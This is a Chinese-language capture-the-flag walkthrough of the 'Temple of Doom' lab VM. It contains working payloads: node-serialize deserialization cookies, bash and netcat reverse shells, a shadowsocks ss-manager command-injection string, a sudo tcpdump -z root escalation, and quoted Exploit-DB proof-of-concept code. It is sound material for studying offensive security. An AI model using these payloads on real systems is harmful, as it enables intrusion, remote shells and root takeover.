0x01 偵查

┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:03 CST
Nmap scan report for 192.168.18.1
Host is up (0.0015s latency).
Nmap scan report for 192.168.18.3
Host is up (0.086s latency).
Nmap scan report for 192.168.18.21
Host is up (0.048s latency).
Nmap scan report for 192.168.18.184
Host is up (0.00092s latency).
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.15 seconds

┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.18.185
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:07 CST
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 956804c7420304cd004e367ecd4f66ea (RSA)
|   256 c3065f7f17b6cbbc796b4646cc113a7d (ECDSA)
|_  256 630c288825d5481982bbbd72c66c6850 (ED25519)
666/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/11%OT=22%CT=1%CU=40453%PV=Y%DS=2%DC=T%G=Y%TM=6395AB
OS:F9%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10D%TI=Z%II=I%TS=A)SEQ(SP=F
OS:E%GCD=1%ISR=10D%TI=Z%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11
OS:NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=712
OS:0%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=71CF%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

TRACEROUTE (using port 143/tcp)
HOP RTT     ADDRESS
1   0.17 ms DESKTOP-NRNV04H.mshome.net (172.26.0.1)
2   4.80 ms 192.168.18.185

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.21 seconds

只有開22跟666,先用瀏覽器到666 port去看:

如果重新整理,會到這個網頁:

把文字複製下來如下,看上圖反藍處知道可能是序列化問題

SyntaxError: Unexpected token F in JSON at position 79
    at JSON.parse (<anonymous>)
    at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
    at /home/nodeadmin/.web/server.js:12:29
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
    at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
    at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
    at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)

目錄爆破一下,但也沒什麼成果:

┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ gobuster dir -u http://192.168.18.185:666 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,con
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.18.185:666
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              txt,bak,old,zip,gz,con,php
[+] Timeout:                 10s
===============================================================
2022/12/12 09:45:14 Starting gobuster in directory enumeration mode
===============================================================
Progress: 1764125 / 1764488 (99.98%)===============================================================
2022/12/12 10:02:02 Finished
===============================================================

真的都不行了就抓包,看看請求跟回應有沒有什麼蛛絲馬跡,這裡是firefox按F12會出現的畫面:

檔頭複製如下:

GET / HTTP/1.1
Host: 192.168.18.185:666
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"24-xWt5IUP3GfGbHraPgY5EGPpcNzA"

回應如圖,就是剛剛把網頁重新整理後出現的錯誤訊息:

可疑的就是cookie的那一串亂碼,

把cookie的值:eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D拿去base64解碼,到網站 https://www.base64decode.org :

解碼後的值如下,可以發現日期沒被雙引號括起來:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7

稍微整理一下:

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}

把整理過後的值再次編碼:

得到的base64如下:

eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9

把這個應該正確的cookie用curl推送,可以看到有正常的回應:

└─$ curl -b 'profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9' http://192.168.18.185:666/
Hello Admin

0x02 Get Shell

總之,如剛剛反藍處說的,是序列化的問題,而666是node.js的框架所在,所以找一下漏洞:

┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit Node.js
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution                                      | linux/remote/45265.js
Node.JS - 'node-serialize' Remote Code Execution (2)                                  | nodejs/webapps/49552.py
Node.JS - 'node-serialize' Remote Code Execution (3)                                  | nodejs/webapps/50036.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands         | windows/remote/39218.html
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

前三個個看一下原始碼:

┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

第二個:

└─$ cat 49552.py
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.100.133:8000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

第三個:

└─$ cat 50036.js
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941

var serialize = require('node-serialize');
var payload = {
    "webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps  = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
    }
serialize.unserialize(serialize.serialize(payload))

/*
# after being exploited

┌──(root@kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin

*/

也可以看看這個漏洞的原理:

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

先拿第一個POC舉例,最重要的是這一段:

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });\n }()"}

可以改寫成如下:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}

再經base64編碼:

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==

把剛剛的編碼利用curl送到cookie:

└─$ curl -b 'profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==' http://192.168.18.185:666/
Hello nodeadmin

剛剛只是夾了whoami,所以改成夾reverse shell,應該可以get shell:

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1',(e,out,err)=>{console.log(out);}); }()"}

經base64編碼,用curl推送:

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOC4xODQvNTU1NSAwPiYxJywoZSxvdXQsZXJyKT0+e2NvbnNvbGUubG9nKG91dCk7fSk7IH0oKSJ9

記得在執行curl推送前,先聽port,這一次不用穩定shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvp 5555
listening on [any] 5555 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 47274
bash: cannot set terminal process group (758): Inappropriate ioctl for device
bash: no job control in this shell
[nodeadmin@localhost ~]$

0x03 提權

get shell後先看看目錄:

[nodeadmin@localhost ~]$ ls -al
ls -al
total 40
drwx------. 5 nodeadmin nodeadmin 4096 Jun  7  2018 .
drwxr-xr-x. 4 root      root      4096 Jun  2  2018 ..
-rw-------. 1 nodeadmin nodeadmin    1 Jun  7  2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin   18 Mar 15  2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin  193 Mar 15  2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin  231 Mar 15  2018 .bashrc
drwx------  3 nodeadmin nodeadmin 4096 Jun  1  2018 .config
-rw-------  1 nodeadmin nodeadmin   16 Jun  3  2018 .esd_auth
drwxr-xr-x  4 nodeadmin nodeadmin 4096 Jun  3  2018 .forever
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30  2018 .web
[nodeadmin@localhost ~]$ cd /home
cd /home
[nodeadmin@localhost home]$ ls -al
ls -al
total 16
drwxr-xr-x.  4 root      root      4096 Jun  2  2018 .
dr-xr-xr-x. 18 root      root      4096 May 30  2018 ..
drwx------   6 fireman   fireman   4096 Jun  7  2018 fireman
drwx------.  5 nodeadmin nodeadmin 4096 Jun  7  2018 nodeadmin

可以發現有另一個使用者fireman,來查查這使用者用了什麼程式,是可以拿來提權或是切換到fireman這個使用者的:

[nodeadmin@localhost home]$ ps aux | grep fireman
ps aux | grep fireman
root       751  0.0  0.1 301464  4356 ?        S    09:05   0:00 su fireman -c /usr/local/bin/ss-manager
fireman    759  0.0  0.0  37060  3836 ?        Ss   09:05   0:00 /usr/local/bin/ss-manager
nodeadm+   919  0.0  0.0 213788  1012 ?        S    09:08   0:00 grep --color=auto fireman

利用linpeas.sh的掃瞄結果:

╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root         1  0.1  0.2 170776  9432 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 32
root       479  0.0  0.3 124332 16308 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd-journald
root       499  0.0  0.1  96564  8196 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd-udevd
root       548  0.0  0.0 182948  2168 ?        Ss   09:05   0:00 /usr/sbin/lvmetad -f -t 3600
root       586  0.0  0.0  54064  2008 ?        S<sl 09:05   0:00 /sbin/auditd
root       605  0.0  0.1 417584  8444 ?        Ssl  09:05   0:00 /usr/sbin/ModemManager
dbus       606  0.0  0.1  52812  4748 ?        Ss   09:05   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  └─(Caps) 0x0000000020000000=cap_audit_write
root       609  0.0  0.2 519300 10528 ?        Ssl  09:05   0:00 /usr/libexec/udisks2/udisksd
rtkit      610  0.0  0.0 192964  3412 ?        SNsl 09:05   0:00 /usr/libexec/rtkit-daemon
  └─(Caps) 0x0000000000880004=cap_dac_read_search,cap_sys_ptrace,cap_sys_nice
root       611  0.0  0.0   9132  2036 ?        Ss   09:05   0:00 /usr/sbin/mcelog --ignorenodev --daemon[0m --foreground
root       612  0.0  0.0  17472  1540 ?        SNs  09:05   0:00 /usr/sbin/alsactl -s -n 19 -c -E ALSA_CONFIG_PATH=/etc/alsa/alsactl.conf --initfile=/lib/alsa/init/00main rdaemon[0m
root       614  0.0  0.1  79460  6192 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd-logind
avahi      650  0.0  0.0  54300   380 ?        S    09:05   0:00  _ avahi-daemon: chroot helper
root       618  0.0  0.5 710552 22420 ?        Ssl  09:05   0:00 /usr/sbin/rsyslogd -n
root       632  0.0  0.1  26364  4736 ?        Ss   09:05   0:00 /usr/sbin/smartd -n -q never
root       634  0.0  0.3 883128 17048 ?        Ssl  09:05   0:00 /usr/sbin/NetworkManager --no-daemon[0m
root       771  0.0  0.2  82768  8656 ?        S    09:05   0:00  _ /sbin/dhclient -d -q -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-0a4eb58b-88ff-381b-9334-e0d108bbf542-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0
root       636  0.0  0.2 546912 10556 ?        Ssl  09:05   0:00 /usr/sbin/abrtd -d -s
root       644  0.0  0.0 299692  3644 ?        Ssl  09:05   0:00 /usr/sbin/gssproxy -D
chrony     652  0.0  0.0 105572  2852 ?        S    09:05   0:00 /usr/sbin/chronyd
  └─(Caps) 0x0000000002000400=cap_net_bind_service,cap_sys_time
polkitd    669  0.0  0.4 1751248 21496 ?       Ssl  09:05   0:00 /usr/lib/polkit-1/polkitd --no-debug
root       670  0.0  0.1  79544  6504 ?        Ss   09:05   0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
root       679  0.0  0.5 833624 24716 ?        Ss   09:05   0:00 /usr/bin/abrt-dump-journal-oops -fxtD
root       680  0.0  0.3 768004 13520 ?        Ss   09:05   0:00 /usr/bin/abrt-dump-journal-core -D -T -f -e
root       681  0.0  0.4 768004 19736 ?        Ss   09:05   0:00 /usr/bin/abrt-dump-journal-xorg -fxtD
root       687  0.0  0.0 229500  3496 ?        Ss   09:05   0:00 /usr/sbin/crond -n
root       701  0.0  0.1 287716  4828 ?        S    09:05   0:00  _ /usr/sbin/CROND -n
root       703  0.0  0.1 287716  4828 ?        S    09:05   0:00  _ /usr/sbin/CROND -n
root       688  0.0  0.0  28088  2204 ?        Ss   09:05   0:00 /usr/sbin/atd -f
root       704  0.0  0.0 213528  1840 tty1     Ss+  09:05   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root       712  0.0  0.1  87688  8292 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd --user
root       719  0.0  0.0 140828  2604 ?        S    09:05   0:00  _ (sd-pam)
root       749  0.0  0.2 578068 11948 ?        S<sl 09:05   0:00  _ /usr/bin/pulseaudio --daemonize=no
root       769  0.0  0.0  52236  3920 ?        Ss   09:05   0:00  _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
nodeadm+   713  0.0  0.1  87656  8116 ?        Ss   09:05   0:00 /usr/lib/systemd/systemd --user
nodeadm+   720  0.0  0.0 140828  2600 ?        S    09:05   0:00  _ (sd-pam)
nodeadm+   756  0.0  0.1 497052  8508 ?        Ssl  09:05   0:00  _ /usr/bin/pulseaudio --daemonize=no
nodeadm+   838  0.0  0.0  52236  3808 ?        Ss   09:05   0:00  _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       751  0.0  0.1 301464  4356 ?        S    09:05   0:00 su fireman -c /usr/local/bin/ss-manager
fireman    759  0.0  0.0  37060  3836 ?        Ss   09:05   0:00  _ /usr/local/bin/ss-manager

其中兩行也有掃到這個程式:

root       751  0.0  0.1 301464  4356 ?        S    09:05   0:00 su fireman -c /usr/local/bin/ss-manager
fireman    759  0.0  0.0  37060  3836 ?        Ss   09:05   0:00  _ /usr/local/bin/ss-manager

找找ss-manager有沒有漏洞:

開啟第二個網頁,可以知道編號是43006:

來找找43006:

┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit 43006
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
shadowsocks-libev 3.1.0 - Command Execution                                                                            | linux/local/43006.txt
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

看看它的說明:

┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ sudo searchsploit -m 43006
[sudo] password for kali:
  Exploit: shadowsocks-libev 3.1.0 - Command Execution
      URL: https://www.exploit-db.com/exploits/43006
     Path: /usr/share/exploitdb/exploits/linux/local/43006.txt
    Codes: N/A
 Verified: False
File Type: ASCII text
Copied to: /home/kali/target_machine/temple_of_doom/43006.txt



┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 43006.txt
X41 D-Sec GmbH Security Advisory: X41-2017-010

Command Execution in Shadowsocks-libev
======================================

Overview
--------
Severity Rating: High
Confirmed Affected Versions: 3.1.0
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks-libev
Vector: Local
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
CVE: not yet assigned
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-010-shadowsocks-libev/


Summary and Impact
------------------
Shadowsocks-libev offers local command execution per configuration file
or/and additionally, code execution per UDP request on 127.0.0.1.

The configuration file on the file system or the JSON configuration
received via UDP request is parsed and the arguments are passed to the
"add_server" function.
The function calls "construct_command_line(manager, server);" which
returns a string from the parsed configuration.
The string gets executed at line 486 "if (system(cmd) == -1) {", so if a
configuration parameter contains "||evil command&&" within the "method"
parameter, the evil command will get executed.

The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.


Product Description
-------------------
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded
devices and low-end boxes. The ss-manager is meant to control
Shadowsocks servers for multiple users, it spawns new servers if needed.

It is a port of Shadowsocks created by @clowwindy, and maintained by
@madeye and @linusyang.


Proof of Concept
----------------
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:

nc -u 127.0.0.1 8839
    add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}

The code is executed through shadowsocks-libev/src/manager.c.
If the configuration file on the file system is manipulated, the code
would get executed as soon as a Shadowsocks instance is started from
ss-manage, as long as the malicious part of the configuration has not
been overwritten.


Workarounds
-----------
There is no workaround available, do not use ss-manage until a patch is
released.


About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.

Timeline
--------
2017-09-28  Issues found
2017-10-05  Vendor contacted
2017-10-09  Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11  Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12  Vendor contacted, replied to create a public issue on GitHub
2017-10-13  Created public issue on GitHub
2017-10-13  Advisory release

直接看proof of concept的部分,簡單來說,method中兩個||的中間可以任意夾指令,靶機都會幫忙執行,所以就直接夾reverse shell

[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc 192.168.18.184 3333 -e /bin/bash||"}

當然,在進行上述動作時,要先聽port:

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 3333
[sudo] password for kali:
listening on [any] 3333 ...
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 36238

get到fireman的shell後,要先python -c 'import pty;pty.spawn("/bin/bash")'穩定shell:

python -c 'import pty;pty.spawn("/bin/bash")'
[fireman@localhost root]$

aaa利用sudo -l,显示出自己(执行 sudo 的使用者)的权限:

[fireman@localhost root]$ sudo -l
sudo -l
Matching Defaults entries for fireman on localhost:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
    LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fireman may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/iptables
    (ALL) NOPASSWD: /usr/bin/nmcli
    (ALL) NOPASSWD: /usr/sbin/tcpdump

可以發現fireman可執行tcpdump,可以用來提權:

[fireman@localhost root]$ cd /tmp
cd /tmp
[fireman@localhost tmp]$ echo "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
<ho "nc -e /bin/bash 192.168.18.184 7777" > shell.sh
[fireman@localhost tmp]$ chmod
chmod
chmod: missing operand
Try 'chmod --help' for more information.
[fireman@localhost tmp]$  chmod +x shell.sh
chmod +x shell.sh
[fireman@localhost tmp]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
<th0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
12 packets received by filter
0 packets dropped by kernel

解釋一下上面的指令。首先echo "nc -e /bin/bash 192.168.18.184 7777 "> shell.shchmod +x shell.sh很簡單,第一句先把reverse shell的指令寫進一個名叫shell的shell檔,第二句則是賦予它執行的權限。問題是第三句:

  • -i : 指定监听的网络接口
  • -w : 直接将包写入文件中,并不分析和打印出来
  • -W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
  • -G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“ file ”的形式。
  • -z :  与-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
  • 请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
  • 如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
  • -Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。
┌──(kali㉿kali)-[~]
└─$ nc -lvp 7777
listening on [any] 7777 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 37588
python -c 'import pty;pty.spawn("/bin/bash")'
[root@localhost tmp]#

aaa當然,要先聽port,拿到shell後再python -c 'import pty;pty.spawn("/bin/bash")'穩定shell。接下來就簡單了,根目錄的資料夾就有flag.txt。

[root@localhost ~]# cat flag.txt
cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.

+-----------------------------------------------------------------------------+
| |       |\                                           -~ /     \  /          |
|~~__     | \                                         | \/       /\          /|
|    --   |  \                                        | / \    /    \     /   |
|      |~_|   \                                   \___|/    \/         /      |
|--__  |   -- |\________________________________/~~\~~|    /  \     /     \   |
|   |~~--__  |~_|____|____|____|____|____|____|/ /  \/|\ /      \/          \/|
|   |      |~--_|__|____|____|____|____|____|_/ /|    |/ \    /   \       /   |
|___|______|__|_||____|____|____|____|____|__[]/_|----|    \/       \  /      |
|  \mmmm :   | _|___|____|____|____|____|____|___|  /\|   /  \      /  \      |
|      B :_--~~ |_|____|____|____|____|____|____|  |  |\/      \ /        \   |
|  __--P :  |  /                                /  /  | \     /  \          /\|
|~~  |   :  | /                                 ~~~   |  \  /      \      /   |
|    |      |/                        .-.             |  /\          \  /     |
|    |      /                        |   |            |/   \          /\      |
|    |     /                        |     |            -_   \       /    \    |
+-----------------------------------------------------------------------------+
|          |  /|  |   |  2  3  4  | /~~~~~\ |       /|    |_| ....  ......... |
|          |  ~|~ | % |           | | ~J~ | |       ~|~ % |_| ....  ......... |
|   AMMO   |  HEALTH  |  5  6  7  |  \===/  |    ARMOR    |#| ....  ......... |
+-----------------------------------------------------------------------------+

                FLAG: kre0cu4jl4rzjicpo1i7z5l1

[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.

[+] You can follow me on twitter: @0katz

[+] Thanks to the homie: @Pink_P4nther

PS

